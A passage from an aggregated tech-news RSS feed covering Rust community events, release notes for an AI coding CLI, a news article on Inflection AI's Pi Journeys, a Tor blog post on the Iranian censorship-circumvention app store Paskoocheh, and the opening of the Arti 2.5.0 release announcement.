<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.png">
    </picture>
    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
</li>
<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
</li>
</ul>
<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/community">
          community
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[Arti 2.5.0 released: Stable Counter Galois Onion]]></title>
<description><![CDATA[Arti is our ongoing project to create a next-generation Tor implementation in
Rust.  We're happy to announce the latest release, Arti 2.5.0.
This release marks Counter Galois Onion as a stable feature and includes it in
full feature builds.  Likewise, Congestion Control is now enabled in default
...]]></description>
<link>https://tsecurity.de/de/3687540/it-security-tools/arti-250-released-stable-counter-galois-onion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687540/it-security-tools/arti-250-released-stable-counter-galois-onion/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/arti_2_5_0_released/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/arti_2_5_0_released/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/arti_2_5_0_released/lead.png">
    </picture>
    <div class="body"><p>Arti is our ongoing project to create a next-generation Tor implementation in
Rust.  We're happy to announce the latest release, Arti 2.5.0.</p>
<p>This release marks <a href="https://blog.torproject.org/introducing-cgo/">Counter Galois Onion</a> as a stable feature and includes it in
full feature builds.  Likewise, <a href="https://blog.torproject.org/congestion-contrl-047/">Congestion Control</a> is now enabled in default
builds of Arti, increasing the overall speed without any further configuration.</p>
<p>Unfortunately, this release also comes with the disclosure of two medium-severity
DoS security issues, <a href="https://gitlab.torproject.org/tpo/core/arti/-/work_items/2566">TROVE-2026-024</a> as well as <a href="https://gitlab.torproject.org/tpo/core/arti/-/work_items/2601">TROVE-2026-027</a>, whose fixes
are of course included within the release.</p>
<p>Additionally, this release continues our ongoing development towards using
Arti as a relay and as a directory authority.</p>
<p>Another noteworthy change is that we've increased our minimum supported Rust
version to Rust 1.91, released in October 2025.</p>
<p>Of course, this release also contains a number of bugfixes, cleanups, and
improvements throughout various parts of the code base.</p>
<p>For full details on what we've done, including API changes,
and for information about many more minor and less-visible changes,
